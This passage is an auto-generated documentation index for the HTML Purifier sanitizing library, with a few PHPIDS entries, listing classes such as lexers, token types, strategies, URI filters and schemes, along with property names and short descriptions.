class="index-item-description">Our in-house implementation of a parser.</div> - </dd> - <dt class="field"> - HTMLPurifier_Lexer_DOMLex - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html">HTMLPurifier_Lexer_DOMLex</a> in DOMLex.php</div> - <div class="index-item-description">Parser that uses PHP 5's DOM extension (part of the core).</div> - </dd> - <dt class="field"> - HTMLPurifier_Lexer_PEARSax3 - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html">HTMLPurifier_Lexer_PEARSax3</a> in PEARSax3.php</div> - <div class="index-item-description">Proof-of-concept lexer that uses the PEAR package XML_HTMLSax3 to parse HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_Lexer_PH5P - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PH5P.html">HTMLPurifier_Lexer_PH5P</a> in PH5P.php</div> - <div class="index-item-description">Experimental HTML5-based parser using Jeroen van der Meer's PH5P library.</div> - </dd> - <dt class="field"> - HTMLPurifier_PercentEncoder - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_PercentEncoder.html">HTMLPurifier_PercentEncoder</a> in PercentEncoder.php</div> - <div class="index-item-description">Class that handles operations involving percent-encoding in URIs.</div> - </dd> - <dt class="field"> - <span class="const-title">HTMLPURIFIER_PREFIX</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Bootstrap.php.html#defineHTMLPURIFIER_PREFIX">HTMLPURIFIER_PREFIX</a> in Bootstrap.php</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html">HTMLPurifier_Printer</a> in Printer.php</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer_ConfigForm - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html">HTMLPurifier_Printer_ConfigForm</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer_ConfigForm_bool - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_bool.html">HTMLPurifier_Printer_ConfigForm_bool</a> in ConfigForm.php</div> - <div class="index-item-description">Bool form field printer</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer_ConfigForm_default - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_default.html">HTMLPurifier_Printer_ConfigForm_default</a> in ConfigForm.php</div> - <div class="index-item-description">Swiss-army knife configuration form field printer</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer_ConfigForm_NullDecorator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_NullDecorator.html">HTMLPurifier_Printer_ConfigForm_NullDecorator</a> in ConfigForm.php</div> - <div class="index-item-description">Printer decorator for directives that accept null</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer_CSSDefinition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_CSSDefinition.html">HTMLPurifier_Printer_CSSDefinition</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - HTMLPurifier_Printer_HTMLDefinition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html">HTMLPurifier_Printer_HTMLDefinition</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy.html">HTMLPurifier_Strategy</a> in Strategy.php</div> - <div class="index-item-description">Supertype for classes that define a strategy for modifying/purifying tokens.</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy_Composite - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_Composite.html">HTMLPurifier_Strategy_Composite</a> in Composite.php</div> - <div class="index-item-description">Composite strategy that runs multiple strategies on tokens.</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy_Core - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_Core.html">HTMLPurifier_Strategy_Core</a> in Core.php</div> - <div class="index-item-description">Core strategy composed of the big four strategies.</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy_FixNesting - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_FixNesting.html">HTMLPurifier_Strategy_FixNesting</a> in FixNesting.php</div> - <div class="index-item-description">Takes a well formed list of tokens and fixes their nesting.</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy_MakeWellFormed - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html">HTMLPurifier_Strategy_MakeWellFormed</a> in MakeWellFormed.php</div> - <div class="index-item-description">Takes tokens makes them well-formed (balance end tags, etc.)</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy_RemoveForeignElements - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_RemoveForeignElements.html">HTMLPurifier_Strategy_RemoveForeignElements</a> in RemoveForeignElements.php</div> - <div class="index-item-description">Removes all unrecognized tags from the list of tokens.</div> - </dd> - <dt class="field"> - HTMLPurifier_Strategy_ValidateAttributes - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_ValidateAttributes.html">HTMLPurifier_Strategy_ValidateAttributes</a> in ValidateAttributes.php</div> - <div class="index-item-description">Validate all attributes in the tokens.</div> - </dd> - <dt class="field"> - HTMLPurifier_StringHash - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHash.html">HTMLPurifier_StringHash</a> in StringHash.php</div> - <div class="index-item-description">This is in almost every respect equivalent to an array except that it keeps track of which keys were accessed.</div> - </dd> - <dt class="field"> - HTMLPurifier_StringHashParser - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHashParser.html">HTMLPurifier_StringHashParser</a> in StringHashParser.php</div> - <div class="index-item-description">Parses string hash files. File format is as such:</div> - </dd> - <dt class="field"> - HTMLPurifier_TagTransform - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform.html">HTMLPurifier_TagTransform</a> in TagTransform.php</div> - <div class="index-item-description">Defines a mutation of an obsolete tag into a valid tag.</div> - </dd> - <dt class="field"> - HTMLPurifier_TagTransform_Font - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Font.html">HTMLPurifier_TagTransform_Font</a> in Font.php</div> - <div class="index-item-description">Transforms FONT tags to the proper form (SPAN with CSS styling)</div> - </dd> - <dt class="field"> - HTMLPurifier_TagTransform_Simple - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Simple.html">HTMLPurifier_TagTransform_Simple</a> in Simple.php</div> - <div class="index-item-description">Simple transformation, just change tag name to something else, and possibly add some styling. This will cover most of the deprecated tag cases.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html">HTMLPurifier_Token</a> in Token.php</div> - <div class="index-item-description">Abstract base token class that all others inherit from.</div> - </dd> - <dt class="field"> - HTMLPurifier_TokenFactory - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html">HTMLPurifier_TokenFactory</a> in TokenFactory.php</div> - <div class="index-item-description">Factory for token generation.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token_Comment - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Comment.html">HTMLPurifier_Token_Comment</a> in Comment.php</div> - <div class="index-item-description">Concrete comment token class. Generally will be ignored.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token_Empty - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Empty.html">HTMLPurifier_Token_Empty</a> in Empty.php</div> - <div class="index-item-description">Concrete empty token class.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token_End - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_End.html">HTMLPurifier_Token_End</a> in End.php</div> - <div class="index-item-description">Concrete end token class.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token_Start - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Start.html">HTMLPurifier_Token_Start</a> in Start.php</div> - <div class="index-item-description">Concrete start token class.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token_Tag - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Tag.html">HTMLPurifier_Token_Tag</a> in Tag.php</div> - <div class="index-item-description">Abstract class of a tag token (start, end or empty), and its behavior.</div> - </dd> - <dt class="field"> - HTMLPurifier_Token_Text - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Text.html">HTMLPurifier_Token_Text</a> in Text.php</div> - <div class="index-item-description">Concrete text token class.</div> - </dd> - <dt class="field"> - HTMLPurifier_UnitConverter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html">HTMLPurifier_UnitConverter</a> in UnitConverter.php</div> - <div class="index-item-description">Class for converting between different unit-lengths as specified by CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_URI - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html">HTMLPurifier_URI</a> in URI.php</div> - <div class="index-item-description">HTML Purifier's internal representation of a URI.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIDefinition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html">HTMLPurifier_URIDefinition</a> in URIDefinition.php</div> - <div class="index-item-description">Super-class for definition datatype objects, implements serialization functions for the class.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIFilter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter.html">HTMLPurifier_URIFilter</a> in URIFilter.php</div> - <div class="index-item-description">Chainable filters for custom URI processing.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIFilter_DisableExternal - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternal.html">HTMLPurifier_URIFilter_DisableExternal</a> in DisableExternal.php</div> - <div class="index-item-description">Chainable filters for custom URI processing.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIFilter_DisableExternalResources - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternalResources.html">HTMLPurifier_URIFilter_DisableExternalResources</a> in DisableExternalResources.php</div> - <div class="index-item-description">Chainable filters for custom URI processing.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIFilter_HostBlacklist - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_HostBlacklist.html">HTMLPurifier_URIFilter_HostBlacklist</a> in HostBlacklist.php</div> - <div class="index-item-description">Chainable filters for custom URI processing.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIFilter_MakeAbsolute - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_MakeAbsolute.html">HTMLPurifier_URIFilter_MakeAbsolute</a> in MakeAbsolute.php</div> - <div class="index-item-description">Chainable filters for custom URI processing.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIFilter_Munge - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html">HTMLPurifier_URIFilter_Munge</a> in Munge.php</div> - <div class="index-item-description">Chainable filters for custom URI processing.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIParser - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIParser.html">HTMLPurifier_URIParser</a> in URIParser.php</div> - <div class="index-item-description">Parses a URI into the components and fragment identifier as specified by RFC 3986.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme.html">HTMLPurifier_URIScheme</a> in URIScheme.php</div> - <div class="index-item-description">Validator for the components of a URI for a specific scheme</div> - </dd> - <dt class="field"> - HTMLPurifier_URISchemeRegistry - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URISchemeRegistry.html">HTMLPurifier_URISchemeRegistry</a> in URISchemeRegistry.php</div> - <div class="index-item-description">Registry for retrieving specific URI scheme validator objects.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme_ftp - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_ftp.html">HTMLPurifier_URIScheme_ftp</a> in ftp.php</div> - <div class="index-item-description">Validates ftp (File Transfer Protocol) URIs as defined by generic RFC 1738.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme_http - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_http.html">HTMLPurifier_URIScheme_http</a> in http.php</div> - <div class="index-item-description">Validates http (HyperText Transfer Protocol) as defined by RFC 2616</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme_https - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_https.html">HTMLPurifier_URIScheme_https</a> in https.php</div> - <div class="index-item-description">Validates https (Secure HTTP) according to http scheme.</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme_mailto - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_mailto.html">HTMLPurifier_URIScheme_mailto</a> in mailto.php</div> - <div class="index-item-description">Validates mailto (for E-mail) according to RFC 2368</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme_news - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_news.html">HTMLPurifier_URIScheme_news</a> in news.php</div> - <div class="index-item-description">Validates news (Usenet) as defined by generic RFC 1738</div> - </dd> - <dt class="field"> - HTMLPurifier_URIScheme_nntp - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_nntp.html">HTMLPurifier_URIScheme_nntp</a> in nntp.php</div> - <div class="index-item-description">Validates nntp (Network News Transfer Protocol) as defined by generic RFC 1738</div> - </dd> - <dt class="field"> - HTMLPurifier_VarParser - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html">HTMLPurifier_VarParser</a> in VarParser.php</div> - <div class="index-item-description">Parses string representations into their corresponding native PHP variable type. The base implementation does a simple type-check.</div> - </dd> - <dt class="field"> - HTMLPurifier_VarParserException - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParserException.html">HTMLPurifier_VarParserException</a> in VarParserException.php</div> - <div class="index-item-description">Exception type for HTMLPurifier_VarParser</div> - </dd> - <dt class="field"> - HTMLPurifier_VarParser_Flexible - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser_Flexible.html">HTMLPurifier_VarParser_Flexible</a> in Flexible.php</div> - <div class="index-item-description">Performs safe variable parsing based on types which can be used by users. This may not be able to represent all possible data inputs, however.</div> - </dd> - <dt class="field"> - HTMLPurifier_VarParser_Native - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser_Native.html">HTMLPurifier_VarParser_Native</a> in Native.php</div> - <div class="index-item-description">This variable parser uses PHP's internal code engine. Because it does this, it can represent all inputs; however, it is dangerous and cannot be used by users.</div> - </dd> - <dt class="field"> - <span class="include-title">Host.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---URI---Host.php.html">Host.php</a> in Host.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLDefinition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLDefinition.php.html">HTMLDefinition.php</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - <span class="include-title">Hypertext.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Hypertext.php.html">Hypertext.php</a> in Hypertext.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLModule.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule.php.html">HTMLModule.php</a> in HTMLModule.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLModuleManager.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModuleManager.php.html">HTMLModuleManager.php</a> in HTMLModuleManager.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLDefinition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Printer---HTMLDefinition.php.html">HTMLDefinition.php</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - <span class="include-title">HostBlacklist.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIFilter---HostBlacklist.php.html">HostBlacklist.php</a> in HostBlacklist.php</div> - </dd> - <dt class="field"> - <span class="include-title">http.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme---http.php.html">http.php</a> in http.php</div> - </dd> - <dt class="field"> - <span class="include-title">https.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme---https.php.html">https.php</a> in https.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.auto.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.auto.php.html">HTMLPurifier.auto.php</a> in HTMLPurifier.auto.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.autoload.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.autoload.php.html">HTMLPurifier.autoload.php</a> in HTMLPurifier.autoload.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.func.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.func.php.html">HTMLPurifier.func.php</a> in HTMLPurifier.func.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.includes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.includes.php.html">HTMLPurifier.includes.php</a> in HTMLPurifier.includes.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.kses.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.kses.php.html">HTMLPurifier.kses.php</a> in HTMLPurifier.kses.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.path.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.path.php.html">HTMLPurifier.path.php</a> in HTMLPurifier.path.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.php.html">HTMLPurifier.php</a> in HTMLPurifier.php</div> - </dd> - <dt class="field"> - <span class="include-title">HTMLPurifier.safe-includes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.safe-includes.php.html">HTMLPurifier.safe-includes.php</a> in HTMLPurifier.safe-includes.php</div> - </dd> - </dl> - <a name="i"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">i</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$id</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$id">HTMLPurifier_ConfigSchema_Interchange_Directive::$id</a> in Directive.php</div> - <div class="index-item-description">ID of directive, instance of HTMLPurifier_ConfigSchema_Interchange_Id.</div> - </dd> - <dt class="field"> - <span class="var-title">$ids</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_IDAccumulator.html#var$ids">HTMLPurifier_IDAccumulator::$ids</a> in IDAccumulator.php</div> - <div class="index-item-description">Lookup table of IDs we've accumulated.</div> - </dd> - <dt class="field"> - <span class="var-title">$impact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$impact">IDS_Event::$impact</a> in Event.php</div> - <div class="index-item-description">Calculated impact</div> - </dd> - <dt class="field"> - <span class="var-title">$impact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$impact">IDS_Report::$impact</a> in Report.php</div> - <div class="index-item-description">Impact level</div> - </dd> - <dt class="field"> - <span class="var-title">$impact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$impact">IDS_Filter::$impact</a> in Filter.php</div> - <div class="index-item-description">Filter impact level</div> - </dd> - <dt class="field"> - <span class="var-title">$implementations</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#var$implementations">HTMLPurifier_DefinitionCacheFactory::$implementations</a> in DefinitionCacheFactory.php</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info">HTMLPurifier_HTMLDefinition::$info</a> in HTMLDefinition.php</div> - <div class="index-item-description">Associative array of element names to HTMLPurifier_ElementDef</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Font.html#var$info">HTMLPurifier_AttrDef_CSS_Font::$info</a> in Font.php</div> - <div class="index-item-description">Local copy of component validators.</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html#var$info">HTMLPurifier_CSSDefinition::$info</a> in CSSDefinition.php</div> - <div class="index-item-description">Assoc array of attribute name to definition object.</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$info">HTMLPurifier_HTMLModule::$info</a> in HTMLModule.php</div> - <div class="index-item-description">Associative array of element names to element definitions.</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTypes.html#var$info">HTMLPurifier_AttrTypes::$info</a> in AttrTypes.php</div> - <div class="index-item-description">Lookup array of attribute string identifiers to concrete implementations</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Background.html#var$info">HTMLPurifier_AttrDef_CSS_Background::$info</a> in Background.php</div> - <div class="index-item-description">Local copy of component validators.</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Border.html#var$info">HTMLPurifier_AttrDef_CSS_Border::$info</a> in Border.php</div> - <div class="index-item-description">Local copy of properties this property is shorthand for.</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrCollections.html#var$info">HTMLPurifier_AttrCollections::$info</a> in AttrCollections.php</div> - <div class="index-item-description">Associative array of attribute collections, indexed by name</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ListStyle.html#var$info">HTMLPurifier_AttrDef_CSS_ListStyle::$info</a> in ListStyle.php</div> - <div class="index-item-description">Local copy of component validators.</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#var$info">HTMLPurifier_ConfigSchema::$info</a> in ConfigSchema.php</div> - <div class="index-item-description">Definition of the directives. The structure of this is:</div> - </dd> - <dt class="field"> - <span class="var-title">$info</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#var$info">HTMLPurifier_ContentSets::$info</a> in ContentSets.php</div> - <div class="index-item-description">List of content set strings (pipe seperators) indexed by name.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_attr_transform_post</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$info_attr_transform_post">HTMLPurifier_HTMLModule::$info_attr_transform_post</a> in HTMLModule.php</div> - <div class="index-item-description">List of HTMLPurifier_AttrTransform to be performed after validation.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_attr_transform_post</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_attr_transform_post">HTMLPurifier_HTMLDefinition::$info_attr_transform_post</a> in HTMLDefinition.php</div> - <div class="index-item-description">Indexed list of HTMLPurifier_AttrTransform to be performed after validation.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_attr_transform_pre</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_attr_transform_pre">HTMLPurifier_HTMLDefinition::$info_attr_transform_pre</a> in HTMLDefinition.php</div> - <div class="index-item-description">Indexed list of HTMLPurifier_AttrTransform to be performed before validation.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_attr_transform_pre</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$info_attr_transform_pre">HTMLPurifier_HTMLModule::$info_attr_transform_pre</a> in HTMLModule.php</div> - <div class="index-item-description">List of HTMLPurifier_AttrTransform to be performed before validation.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_block_wrapper</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_block_wrapper">HTMLPurifier_HTMLDefinition::$info_block_wrapper</a> in HTMLDefinition.php</div> - <div class="index-item-description">String name of element used to wrap inline elements in block context</div> - </dd> - <dt class="field"> - <span class="var-title">$info_content_sets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_content_sets">HTMLPurifier_HTMLDefinition::$info_content_sets</a> in HTMLDefinition.php</div> - <div class="index-item-description">Nested lookup array of content set name (Block, Inline) to element name to whether or not it belongs in that content set.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_global_attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_global_attr">HTMLPurifier_HTMLDefinition::$info_global_attr</a> in HTMLDefinition.php</div> - <div class="index-item-description">Associative array of global attribute name to attribute definition.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_injector</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_injector">HTMLPurifier_HTMLDefinition::$info_injector</a> in HTMLDefinition.php</div> - <div class="index-item-description">Indexed list of HTMLPurifier_Injector to be used.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_injector</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$info_injector">HTMLPurifier_HTMLModule::$info_injector</a> in HTMLModule.php</div> - <div class="index-item-description">List of HTMLPurifier_Injector to be performed during well-formedness fixing.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_parent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_parent">HTMLPurifier_HTMLDefinition::$info_parent</a> in HTMLDefinition.php</div> - <div class="index-item-description">String name of parent element HTML will be going into.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_parent_def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$info_parent_def">HTMLPurifier_HTMLDefinition::$info_parent_def</a> in HTMLDefinition.php</div> - <div class="index-item-description">Definition for parent element, allows parent element to be a tag that's not allowed inside the HTML fragment.</div> - </dd> - <dt class="field"> - <span class="var-title">$info_tag_transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a 